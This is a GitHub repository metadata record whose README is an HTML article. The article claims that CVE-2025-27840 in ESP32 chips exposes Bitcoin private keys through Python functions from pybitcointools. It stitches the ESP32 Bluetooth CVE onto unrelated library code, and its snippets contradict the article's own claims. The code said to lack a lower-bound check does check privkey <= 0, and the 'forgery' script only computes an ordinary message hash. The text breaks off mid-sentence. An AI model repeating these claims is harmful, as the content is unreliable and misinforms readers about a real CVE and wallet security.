{"id":26872150,"url":"https://github.com/demining/bluetooth-attacks-cve-2025-27840","last_synced_at":"2026-04-24T20:03:57.621Z","repository":{"id":285260694,"uuid":"957540534","full_name":"demining/Bluetooth-Attacks-CVE-2025-27840","owner":"demining","description":"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi \u0026 Bluetooth","archived":false,"fork":false,"pushed_at":"2025-03-30T16:46:32.000Z","size":4063,"stargazers_count":10,"open_issues_count":0,"forks_count":4,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-01T00:04:23.632Z","etag":null,"topics":["bitcoin","bitcoin-wallet","bluetooth","btc","cve-2025-27840","privatekey","vulnerability","wi-fi"],"latest_commit_sha":null,"homepage":"https://cryptodeeptech.ru/bitcoin-bluetooth-attacks","language":"Jupyter Notebook","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/demining.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-30T16:12:10.000Z","updated_at":"2025-05-30T02:49:13.000Z","dependencies_parsed_at":"2025-03-30T17:35:52.143Z","dependency_job_id":null,"html_url":"https://github.com/demining/Bluetooth-Attacks-CVE-2025-27840","commit_stats":null,"previous_names":["demining/bluetooth-attacks-cve-2025-27840"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/demining/Bluetooth-Attacks-CVE-2025-27840","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBluetooth-Attacks-CVE-2025-27840","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBluetooth-Attacks-CVE-2025-27840/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBluetooth-Attacks-CVE-2025-27840/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBluetooth-Attacks-CVE-2025-27840/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/demining","download_url":"https://codeload.github.com/demining/Bluetooth-Attacks-CVE-2025-27840/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBluetooth-Attacks-CVE-2025-27840/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":262870851,"owners_count":23377310,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bitcoin","bitcoin-wallet","bluetooth","btc","cve-2025-27840","privatekey","vulnerability","wi-fi"],"created_at":"2025-03-31T08:21:16.773Z","updated_at":"2026-04-24T20:03:57.568Z","avatar_url":"https://github.com/demining.png","language":"Jupyter Notebook","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/061-1024x576.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5537\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eThis paper discusses how an attacker can introduce a hidden list of vulnerabilities through module updates, which can lead to compromise of ESP32 devices and gaining unauthorized access to private keys, affecting billions of devices using this microcontroller. One of the key issues is the\u0026nbsp;\u003ca href=\"https://www.cve.org/CVERecord?id=CVE-2025-27840\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCVE-2025-27840\u003c/a\u003e\u0026nbsp;vulnerability discovered in the ESP32 architecture. To ensure security for the Bitcoin network, we identified the following vulnerabilities, where the possibility of using invalid private keys due to the lack of a lower bound check in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003ehas_invalid_privkey\u003c/code\u003e; a vulnerability in the transaction signature forgery in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003eelectrum_sig_hash\u003c/code\u003e\u0026nbsp;due to incompatibility with BIP-137;\u0026nbsp;\u003ca href=\"https://bitoncoin.org/1arwcrenmdkyhgng2c9qih8uzrr4mmqeqs/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ea weak PRNG issue\u003c/a\u003e\u0026nbsp;in the key generation function\u0026nbsp;\u0026nbsp;\u003ccode\u003erandom_key\u003c/code\u003e, making personal private keys for cryptocurrency wallets predictable; lack of verification of points on the ECC curve in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003e, which can lead to invalid curve attacks; a vulnerability in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003eecdsa_raw_sign\u003c/code\u003e\u0026nbsp;when restoring the Y-coordinate, potentially leading to a substitution of the public key; and vulnerabilities related to deprecated hashing APIs in the\u0026nbsp;\u0026nbsp;\u003ccode\u003ebin_ripemd160\u003c/code\u003e.\u003c/p\u003e\n\n---\n\n* Tutorial: https://youtu.be/nBeZWm2z5o4\n* Tutorial: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks\n* Tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236\n* Google Colab: https://colab.research.google.com/drive/15lPDHeTo7FkrPY7v4qS7X6hO4x27qT2Y\n\n---\n\n\n\u003cp\u003eIn early March 2025, Tarlogic Security identified a vulnerability in the ESP32 microcontroller, which is widely used to connect devices via WiFi and Bluetooth. This vulnerability was filed under the number\u0026nbsp;\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-27840\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCVE-2025-27840\u003c/a\u003e\u0026nbsp;. Attackers can unauthorizedly access Bitcoin wallet data by using the ESP32 chip as a point for cryptographic attacks on devices running on the networks of popular cryptocurrencies such as Bitcoin and Ethereum. This issue affects millions of IoT devices that use this microcontroller. Exploiting this vulnerability will allow attackers to carry out attacks disguised as legitimate users and permanently infect vulnerable devices. This threatens the security of IoT devices based on the ESP32 microcontroller and can lead to the theft of private keys of Bitcoin wallets.\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp class=\"has-medium-font-size\"\u003e\u003cem\u003eESP32 is a microcontroller that is widely used in IoT devices to provide Wi-Fi and Bluetooth connectivity. Attackers can use various methods to gain access to the private key data of Bitcoin wallets through ESP32.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003eSecurity threats related to the ESP32 microcontroller can lead to the theft of private keys of Bitcoin wallets. The main problems include the presence of backdoors and vulnerabilities. Using such vulnerabilities, they can manipulate memory, spoof MAC addresses, and inject malicious code, which creates serious security risks.\u003c/p\u003e\n\n\n\n\u003cp\u003eAttackers can attack IoT devices with an ESP32 microcontroller using vulnerabilities in Bluetooth and Wi-Fi connections, which can become a tool for attacking other devices on the Bitcoin-related network, as well as stealing confidential information, including private keys for Bitcoin wallets.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003ca href=\"https://youtu.be/nBeZWm2z5o4\"\u003e\u003cimg decoding=\"async\" width=\"823\" height=\"471\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-11.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi \u0026amp; Bluetooth\" class=\"wp-image-3290\" srcset=\"https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-11.png 823w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-11-300x172.png 300w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-11-768x440.png 768w\" sizes=\"(max-width: 823px) 100vw, 823px\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://youtu.be/nBeZWm2z5o4\"\u003e\u003cstrong\u003ehttps://youtu.be/nBeZWm2z5o4\u003c/strong\u003e\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch3 class=\"wp-block-heading\"\u003eHidden list of vulnerabilities:\u003c/h3\u003e\n\n\n\n\u003cp\u003eAn attacker can update modules and introduce a list of various vulnerabilities into the code, including:\u003c/p\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eA vulnerability in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003ehas_invalid_privkey\u003c/code\u003ethat can be used to obtain the private key.\u003c/li\u003e\n\n\n\n\u003cli\u003eA vulnerability in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003eelectrum_sig_hash\u003c/code\u003eallows forging Bitcoin transaction signatures.\u003c/li\u003e\n\n\n\n\u003cli\u003eVulnerability in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003erandom_key\u003c/code\u003erelated to a weak pseudo-random number generator (non-deterministic PRNG).\u003c/li\u003e\n\n\n\n\u003cli\u003eVulnerability in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003ewhere there is no check of a point on the ECC curve.\u003c/li\u003e\n\n\n\n\u003cli\u003eVulnerabilities in functions\u0026nbsp;\u0026nbsp;\u003ccode\u003eecdsa_raw_sign\u003c/code\u003e\u0026nbsp;and\u0026nbsp;\u0026nbsp;\u003ccode\u003ebin_ripemd160\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cp\u003eThese vulnerabilities can be used to inject fake updates into ESP32 devices, giving attackers low-level access to the system. This will allow them to bypass code audit controls and gain access to private keys. Currently, billions of devices may be vulnerable due to hidden features of a single component in their architecture, which is designated as CVE-2025-27840.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003eVulnerability for obtaining private key in function \u003ccode\u003ehas_invalid_privkey\u003c/code\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eThis vulnerability was found in Bitcoin’s private key verification code, allowing invalid keys (less than or equal to 0) to be used due to the lack of a lower bound check. This can lead to loss of funds. To fix this, a check must be added to ensure that the private key is greater than 0. The code is provided for demonstration purposes.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter is-resized\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-4.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5472\" style=\"width:840px;height:auto\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eThis bug allows bad private keys to be used, which can lead to serious problems, including loss of money.\u003c/p\u003e\n\n\n\n\u003cp\u003eTo fix this, you need to add a check to ensure that the private key is greater than 0.\u003c/p\u003e\n\n\n\n\u003cp\u003eImagine someone is trying to “hack” the Bitcoin network. They find a weak point in the verification of private keys used to access the cryptocurrency.\u003c/p\u003e\n\n\n\n\u003cp\u003eThe problem is that the code only checks if the private key is too big. If the key is very big, it is rejected. But the code forgets to check if the key is too small (less than or equal to zero).\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eThe section of code where this happens:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-preformatted has-text-color has-link-color wp-elements-f06cf8afadc5288f11b17203ae62cc24\" style=\"color:#4092c2\"\u003e\u003cstrong\u003e...\u003cbr\u003e...\u003cbr\u003e\u003ccode\u003eif privkey \u0026gt;= N:  \u003cem\u003e# \u003c/em\u003e\u003c/code\u003eChecking only the upper bound\u003ccode\u003e\u003cbr\u003e    raise Exception(\"Invalid privkey\")\u003cbr\u003e\u003cbr\u003eif privkey \u0026lt;= 0:  \u003cem\u003e# \u003c/em\u003e\u003c/code\u003eLower bound is not checked properly\u003ccode\u003e\u003cbr\u003e    return True\u003c/code\u003e\u003cbr\u003e...\u003cbr\u003e...\u003c/strong\u003e\u003cbr\u003e\u003cbr\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eDue to this bug, it is possible to use invalid (very small) private keys. This vulnerability is located in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003ehas_invalid_privkey\u003c/code\u003e.\u003c/p\u003e\n\n\n\n\u003cp\u003eFor all this to work, you need to install the library\u0026nbsp;\u0026nbsp;\u003ccode\u003eecdsa\u003c/code\u003e\u0026nbsp;(it is needed to work with cryptography):\u0026nbsp;\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-14-1024x787.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5558\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003ePython script\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/secp256k1_privkey_validator.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003esecp256k1_privkey_validator.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-preformatted has-text-color has-link-color wp-elements-9514c8657d36784a2f9dcacb8eb52d79\" style=\"color:#4092c2\"\u003e\u003cstrong\u003e!pip install ecdsa \u003cbr\u003eimport ecdsa \u003cbr\u003e\u003cbr\u003edef has_invalid_privkey(privkey: int) -\u0026gt; bool: \u003cbr\u003e    \"\"\" \u003cbr\u003e    Checks if a private key is invalid, based on the absence of a lower bound check. \u003cbr\u003e\u003cbr\u003e    Args: \u003cbr\u003e        privkey: The private key to check. \u003cbr\u003e\u003cbr\u003e    Returns: \u003cbr\u003e        True if the private key is invalid (\u0026lt;= 0 or \u0026gt;= N), False otherwise. \u003cbr\u003e    \"\"\" \u003cbr\u003e    # Order of the secp256k1 elliptic curve used by Bitcoin \u003cbr\u003e    N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 \u003cbr\u003e\u003cbr\u003e    if privkey \u0026gt;= N: # Check only the upper bound \u003cbr\u003e        raise Exception(\"Invalid privkey\") \u003cbr\u003e\u003cbr\u003e    if privkey \u0026lt;= 0: # Lower bound check missing \u003cbr\u003e        return True \u003cbr\u003e\u003cbr\u003e    return False \u003cbr\u003e\u003cbr\u003e# Example usage \u003cbr\u003eprivkey = 0 # Invalid private key \u003cbr\u003eis_invalid = has_invalid_privkey(privkey) \u003cbr\u003e\u003cbr\u003eif is_invalid: \u003cbr\u003e    print(\"Invalid private key!\") \u003cbr\u003eelse: \u003cbr\u003e    print(\"Valid private key.\")\u003cbr\u003e\u003c/strong\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eCode explanation:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eImporting the library\u003ccode\u003eecdsa\u003c/code\u003e\u003c/strong\u003e\u0026nbsp;: Although it is not used directly in this example, in real-world scenarios involving Bitcoin and ECDSA (Elliptic Curve Digital Signature Algorithm), this library may be needed to perform cryptographic operations.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eFunction\u003ccode\u003ehas_invalid_privkey(privkey: int) -\u0026gt; bool\u003c/code\u003e\u003c/strong\u003e\u0026nbsp;:\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003ccode\u003eprivkey\u003c/code\u003eAccepts a private key as an integer\u0026nbsp;as input .\u003c/li\u003e\n\n\n\n\u003cli\u003eDefines a constant\u0026nbsp;\u003ccode\u003eN\u003c/code\u003ethat represents the order of the secp256k1 elliptic curve used in Bitcoin.\u003c/li\u003e\n\n\n\n\u003cli\u003eChecks if is\u0026nbsp;\u003ccode\u003eprivkey\u003c/code\u003egreater than or equal to\u0026nbsp;\u003ccode\u003eN\u003c/code\u003e. If so, raises an exception indicating that the private key is invalid.\u003c/li\u003e\n\n\n\n\u003cli\u003eChecks if is\u0026nbsp;\u003ccode\u003eprivkey\u003c/code\u003eless than or equal to\u0026nbsp;\u003ccode\u003e0\u003c/code\u003e. If so, returns\u0026nbsp;\u003ccode\u003eTrue\u003c/code\u003e, indicating that the private key is invalid due to missing lower bound check.\u003c/li\u003e\n\n\n\n\u003cli\u003eIf both checks fail, returns\u0026nbsp;\u003ccode\u003eFalse\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eExample of use\u003c/strong\u003e\u0026nbsp;:\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eSets the value to\u0026nbsp;\u003ccode\u003eprivkey = 0\u003c/code\u003e, which is an invalid private key.\u003c/li\u003e\n\n\n\n\u003cli\u003eCalls a function\u0026nbsp;\u003ccode\u003ehas_invalid_privkey\u003c/code\u003eto check\u0026nbsp;\u003ccode\u003eprivkey\u003c/code\u003e.\u003c/li\u003e\n\n\n\n\u003cli\u003eDepending on the result, it displays a message indicating whether the private key is valid or not.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eVulnerability\u003c/strong\u003e\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eThe code contains a vulnerability related to insufficient private key verification. Namely, there is no lower bound check (privkey \u0026lt;= 0). This allows the use of invalid private keys, which can lead to unpredictable consequences, including loss of funds.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eHow to fix it\u003c/strong\u003e\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eA lower bound check on the private key needs to be added to ensure it is greater than 0.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://bitoncoin.org/1dacqdfstugkpqxcf53teeo6lpikcvmbm9/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin transaction signature forgery vulnerability in function\u0026nbsp;\u003ccode\u003eelectrum_sig_hash\u003c/code\u003e\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eThe function\u0026nbsp;\u0026nbsp;\u003ccode\u003eelectrum_sig_hash\u003c/code\u003e\u0026nbsp;in Electrum uses a non-standard message hashing method, making it\u0026nbsp;\u003ca href=\"https://bitoncoin.org/1dacqdfstugkpqxcf53teeo6lpikcvmbm9/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003evulnerable to signature forgery attacks\u003c/a\u003e\u0026nbsp;due to its incompatibility with BIP-137.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-5-1024x119.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5477\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eAn attacker targeting the Bitcoin network can discover the non-standard message hashing method used by Electrum via the\u0026nbsp;\u0026nbsp;\u003ccode\u003eelectrum_sig_hash\u003c/code\u003e. This function creates a message hash in a way that can lead to signature forgery attacks due to its BIP-137 incompatibility. The provided Python script demonstrates how an attacker can generate the message hash used by Electrum to exploit the BIP-137 incompatibility vulnerability. The function\u0026nbsp;\u0026nbsp;\u003ccode\u003eelectrum_sig_hash\u003c/code\u003e\u0026nbsp;prepares the message by prefixing it and encoding its length before double-hashing it with SHA256.\u003c/p\u003e\n\n\n\n\u003cp\u003eA Python script demonstrating how an attacker can find a non-standard message hash used by Electrum to perform signature forgery attacks due to BIP-137 incompatibility.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-17-1024x571.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5566\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003ePython script\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/bitcoin_sign_hash.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ebitcoin_sign_hash.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-preformatted has-text-color has-link-color wp-elements-9d81cc5a95216d2c0ad0f208ae00b3a5\" style=\"color:#4092c2\"\u003e\u003cstrong\u003e!pip install ecdsa \u003cbr\u003eimport hashlib \u003cbr\u003e\u003cbr\u003edef num_to_var_int(i): \u003cbr\u003e    if i \u0026lt; 0xfd: \u003cbr\u003e        return i.to_bytes(1, 'little') \u003cbr\u003e    elif i \u0026lt;= 0xffff: \u003cbr\u003e        return b'\\xfd' + i.to_bytes(2, 'little') \u003cbr\u003e    elif i \u0026lt;= 0xffffffff: \u003cbr\u003e        return b'\\xfe' + i.to_bytes(4, 'little') \u003cbr\u003e    else: \u003cbr\u003e        return b'\\xff' + i.to_bytes(8, 'little') \u003cbr\u003e\u003cbr\u003edef from_string_to_bytes(s): \u003cbr\u003e    return s.encode('utf-8') \u003cbr\u003e\u003cbr\u003edef bin_dbl_sha256(s): \u003cbr\u003e    hash1 = hashlib.sha256(s).digest() \u003cbr\u003e    hash2 = hashlib.sha256(hash1).digest() \u003cbr\u003e    return hash2 \u003cbr\u003e\u003cbr\u003edef electrum_sig_hash(message): \u003cbr\u003e    padded = b\"\\x18Bitcoin Signed Message:\\n\" + num_to_var_int(len(message)) + from_string_to_bytes(message) \u003cbr\u003e    return bin_dbl_sha256(padded) \u003cbr\u003e\u003cbr\u003e# Usage example \u003cbr\u003emessage = \"Example message for signing\" \u003cbr\u003emessage_hash = electrum_sig_hash(message) \u003cbr\u003eprint(f\"Electrum message hash: {message_hash.hex()}\")\u003c/strong\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eIn this script:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003ccode\u003enum_to_var_int(i)\u003c/code\u003e: converts an integer to the variable-length format used in Bitcoin.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003ccode\u003efrom_string_to_bytes(s)\u003c/code\u003e: encodes a string into bytes using UTF-8 encoding.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003ccode\u003ebin_dbl_sha256(s)\u003c/code\u003e: Performs double SHA256 hashing on the input.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003ccode\u003eelectrum_sig_hash(message)\u003c/code\u003e: simulates Electrum’s non-standard way of hashing messages, which is subject to BIP-137 incompatibility.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://bitoncoin.org/1arwcrenmdkyhgng2c9qih8uzrr4mmqeqs/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerability in\u0026nbsp;\u0026nbsp;\u003ccode\u003erandom_key\u003c/code\u003eWeak PRNG function in key generation (Non-deterministic PRNG)\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eThe problem arises when Bitcoin uses a function\u0026nbsp;\u0026nbsp;\u003ccode\u003erandom_key\u003c/code\u003e that relies on the modulus\u0026nbsp; to create keys\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003e. The modulus\u0026nbsp;\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003e\u0026nbsp;is not intended for cryptographic purposes because it does not generate sufficiently random numbers, making private keys predictable to attackers. This leaves the Bitcoin network vulnerable.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter is-resized\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-7.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5483\" style=\"width:840px;height:auto\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eA Python script that makes the Bitcoin network vulnerable by using\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003e instead 